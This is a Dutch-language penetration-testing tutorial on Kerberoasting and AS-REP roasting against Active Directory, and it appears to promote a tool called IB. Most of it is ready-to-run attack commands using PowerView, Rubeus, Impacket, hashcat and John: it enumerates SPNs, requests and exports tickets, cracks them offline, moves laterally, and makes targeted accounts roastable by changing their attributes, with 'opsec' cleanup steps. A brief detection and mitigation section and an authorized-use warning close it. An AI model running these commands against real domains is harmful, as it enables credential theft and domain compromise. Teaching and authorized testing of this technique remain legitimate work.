Kerberoasting van A tot Z

Kerberoasting is een van de meest effectieve aanvalstechnieken tegen Active Directory-omgevingen. Het maakt misbruik van het Kerberos-authenticatieprotocol om service account-wachtwoorden offline te kraken. In deze tutorial doorlopen we het volledige proces: van theorie tot exploitatie, inclusief AS-REP roasting als aanvullende techniek.

Niveau: Gevorderd

Let op — Voer deze aanvallen uitsluitend uit in geautoriseerde testomgevingen. Kerberoasting tegen productieomgevingen zonder toestemming is strafbaar.

Vereisten

Kerberos Theorie

Het Kerberos-protocol in het kort

Kerberos is het standaard authenticatieprotocol in Active Directory. Het werkt met tickets in plaats van wachtwoorden die over het netwerk worden verstuurd.

De drie hoofdcomponenten:

  1. KDC (Key Distribution Center) — Draait op de Domain Controller
  2. TGT (Ticket Granting Ticket) — Bewijst identiteit van de gebruiker
  3. TGS (Ticket Granting Service) — Geeft toegang tot een specifieke service

De authenticatieflow

Gebruiker                     KDC (DC)                    Service
   |                            |                            |
   |--- AS-REQ (credentials) -->|                            |
   |<-- AS-REP (TGT) ----------|                            |
   |                            |                            |
   |--- TGS-REQ (TGT + SPN) -->|                            |
   |<-- TGS-REP (TGS ticket) --|                            |
   |                            |                            |
   |--- AP-REQ (TGS ticket) ---|--------------------------->|
   |<-- AP-REP (access) -------|----------------------------|

Service Principal Names (SPNs)

Een SPN is een unieke identifier voor een service-instantie. SPNs worden gekoppeld aan het Active Directory-account dat de service uitvoert. Voorbeelden:

MSSQLSvc/sqlserver.lab.local:1433
HTTP/webserver.lab.local
CIFS/fileserver.lab.local

Waarom Kerberoasting werkt

Het TGS-ticket wordt versleuteld met de hash van het service account-wachtwoord. Elke domeingebruiker kan een TGS-ticket aanvragen voor elke service met een SPN. Dit betekent:

  1. Je vraagt een TGS-ticket aan voor een service
  2. Het ticket is versleuteld met de wachtwoordhash van het service account
  3. Je exporteert het ticket en kraakt het offline
  4. Geen extra privileges nodig, alleen een geldig domeinaccount

RC4 versus AES encryptie

Encryptie Hashtype Kraaksnelheid Detectiekans
RC4 (etype 23) NTLM hash Zeer snel Lager
AES-128 (etype 17) AES key Langzaam Hoger
AES-256 (etype 18) AES key Zeer langzaam Hoger

Moderne AD-omgevingen gebruiken standaard AES. RC4-tickets zijn veel sneller te kraken, maar het expliciet aanvragen van RC4 kan detectie triggeren (encryption downgrade).

Stap 1: SPNs Vinden

Met PowerView

# Importeer PowerView
Import-Module .\PowerView.ps1

# Vind alle gebruikersaccounts met een SPN
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description

# Filter op interessante accounts (admin, service, etc.)
Get-DomainUser -SPN | Where-Object {
    $_.memberof -match 'Admin' -or $_.description -match 'admin'
} | Select-Object samaccountname, serviceprincipalname, memberof

Met de AD PowerShell-module

# Zoek accounts met SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, MemberOf |
    Select-Object Name, ServicePrincipalName, MemberOf

Met Rubeus (statistieken)

# Bekijk Kerberoast-statistieken zonder tickets aan te vragen
.\Rubeus.exe kerberoast /stats

Dit toont het aantal Kerberoastbare accounts, gesorteerd op encryptietype.

IB — Het commando kerb_kerberoast in de IB command library bevat de Rubeus-commando’s voor zowel statistieken als daadwerkelijke Kerberoast-aanvallen.

Vanaf Linux met Impacket

# GetUserSPNs: vind accounts met SPNs
impacket-GetUserSPNs lab.local/jdoe:Welkom01 -dc-ip 10.10.10.1

# Met output naar bestand voor hashcat
impacket-GetUserSPNs lab.local/jdoe:Welkom01 -dc-ip 10.10.10.1 -outputfile kerberoast_hashes.txt

Stap 2: TGS-tickets Aanvragen

Met Rubeus

# Kerberoast alle accounts met SPNs
.\Rubeus.exe kerberoast /outfile:C:\Windows\tasks\hashes.txt

# Specifiek account targeten
.\Rubeus.exe kerberoast /user:svcadmin /simple

# RC4 opsec modus (alleen accounts die al RC4 ondersteunen)
.\Rubeus.exe kerberoast /stats /rc4opsec
.\Rubeus.exe kerberoast /rc4opsec /outfile:C:\Windows\tasks\hashes.txt

Met PowerShell (zonder tools)

# Native PowerShell Kerberoasting (geen extra tools nodig)
Add-Type -AssemblyName System.IdentityModel
$spn = "MSSQLSvc/sqlserver.lab.local:1433"
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
$bytes = $ticket.GetRequest()

# Exporteer als base64 voor offline verwerking
[System.Convert]::ToBase64String($bytes)

Stap 3: Offline Kraken

Met hashcat

# Kerberoast RC4 tickets (mode 13100)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# Kerberoast AES-256 tickets (mode 19700)
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# Met meerdere regels voor betere dekking
hashcat -m 13100 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule

Met John the Ripper

# Automatische detectie van hashtype
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Met regels
john --wordlist=wordlist.txt --rules=best64 hashes.txt

# Resultaten bekijken
john --show hashes.txt

Effectieve woordlijsten

Voor service accounts zijn specifieke patronen effectief:

# Genereer wachtwoorden op basis van seizoen + jaar
for s in Lente Zomer Herfst Winter Spring Summer Autumn Fall; do
    for y in 2023 2024 2025 2026; do
        echo "${s}${y}"
        echo "${s}${y}!"
        echo "${s}@${y}"
    done
done > seasonal_passwords.txt

# Combineer met standaard woordlijsten
cat /usr/share/wordlists/rockyou.txt seasonal_passwords.txt > combined.txt

Stap 4: Resultaten Gebruiken

Na het kraken van een service account-wachtwoord kun je:

# Inloggen als het service account
runas /user:lab.local\svcadmin cmd.exe

# Pass-the-Hash als je de NTLM hash hebt
.\Rubeus.exe asktgt /user:svcadmin /password:Geheim123! /ptt

# Laterale beweging naar systemen waar het account rechten heeft
Enter-PSSession -ComputerName sqlserver.lab.local -Credential $cred

Targeted Kerberoasting

Als je GenericWrite, GenericAll of WriteProperty rechten hebt op een gebruikersaccount, kun je zelf een SPN instellen en het account Kerberoastbaar maken.

Stap voor stap

# Stap 1: Check je ACL-rechten
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs |
    Where-Object { $_.IdentityReferenceName -match 'jdoe' }

# Stap 2: Check of het doelaccount al een SPN heeft
Get-DomainUser -Identity targetadmin | Select-Object serviceprincipalname

# Stap 3: Stel een SPN in (moet uniek zijn in het domein)
Set-DomainObject -Identity targetadmin -Set @{serviceprincipalname='custom/kerberoast'}

# Stap 4: Kerberoast het account
.\Rubeus.exe kerberoast /user:targetadmin /outfile:C:\Windows\tasks\targeted_hash.txt

# Stap 5: Kraken
john --wordlist=wordlist.txt targeted_hash.txt

# Stap 6: Ruim de SPN op (opsec!)
Set-DomainObject -Identity targetadmin -Clear serviceprincipalname

IB — Het commando kerb_targeted_kerberoast bevat het volledige targeted Kerberoasting-stappenplan inclusief de opruimstap.

AS-REP Roasting: De Aanvullende Techniek

AS-REP roasting is vergelijkbaar met Kerberoasting, maar richt zich op accounts waarvoor Kerberos pre-authenticatie is uitgeschakeld.

Verschil met Kerberoasting

Eigenschap Kerberoasting AS-REP Roasting
Doelwit Accounts met SPN Accounts zonder pre-auth
Ticket type TGS (service ticket) AS-REP (authentication)
Versleuteling Service account hash Gebruiker’s eigen hash
Hashcat mode 13100 (RC4) / 19700 (AES) 18200
Vereiste rechten Domeingebruiker Geen (alleen gebruikersnaam)

Accounts vinden zonder pre-authenticatie

# Met PowerView
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, distinguishedname

# Met AD PowerShell-module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

AS-REP hashes ophalen

# Met Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:C:\Windows\tasks\asrep_hashes.txt

# Specifiek account
.\Rubeus.exe asreproast /user:targetuser /format:hashcat /outfile:C:\Windows\tasks\asrep_hashes.txt
# Vanaf Linux met Impacket
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep_hashes.txt

Kraken

# Hashcat mode 18200 voor AS-REP hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

IB — Het commando kerb_asreproast bevat alle stappen voor AS-REP roasting, inclusief het opzetten van targeted AS-REP roasting via GenericWrite.

Targeted AS-REP Roasting

Als je GenericWrite rechten hebt, kun je pre-authenticatie uitschakelen:

# Disable pre-auth (UAC flag 4194304 = DONT_REQUIRE_PREAUTH)
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304} -Verbose

# AS-REP roast
.\Rubeus.exe asreproast /user:targetuser /format:hashcat

# Herstel pre-auth (opsec!)
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304} -Verbose

IB en kerberos.sh

IB bevat een kerberos.sh-script dat automatisch Kerberos-gerelateerde services scant in je scope. Het script:

  1. Zoekt hosts met Kerberos-services via search.sh
  2. Identificeert het domein via CrackMapExec
  3. Voert Kerberos-enumeratie uit met nmap (krb5-enum-users)
  4. Gebruikt ldapsearch voor gebruikersinformatie
# Gebruik: geef het projectnaam mee
./kerberos.sh projectnaam

IB — Alle Kerberos-commando’s zijn te vinden onder het kerb_ prefix in de command library. Van kerb_kerberoast tot kerb_golden_ticket, elk met uitleg en opsec-tips.

Detectie en Mitigatie

Detectie-indicatoren

Mitigatie-aanbevelingen

  1. Managed Service Accounts (gMSA) — Automatisch geroteerde, lange wachtwoorden
  2. Lange wachtwoorden — Minimaal 25+ tekens voor service accounts
  3. AES-only — Schakel RC4 uit waar mogelijk
  4. Monitoring — Detecteer abnormale TGS-aanvragen
  5. Regelmatige audits — Controleer SPNs en pre-auth-instellingen
# Audit: vind accounts met zwakke encryptie-instellingen
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes |
    Where-Object { $_.'msDS-SupportedEncryptionTypes' -band 4 } |
    Select-Object Name, ServicePrincipalName

Samenvatting

Kerberoasting is een krachtige aanvalstechniek die elke pentester moet beheersen. Het vereist slechts een geldig domeinaccount en levert potentieel toegang tot service accounts met hoge privileges. De belangrijkste punten:

IB — Gebruik het findings-systeem in IB om Kerberoasting-resultaten als bevindingen vast te leggen met de juiste CVSS-score en MITRE ATT&CK-referentie (T1558.003).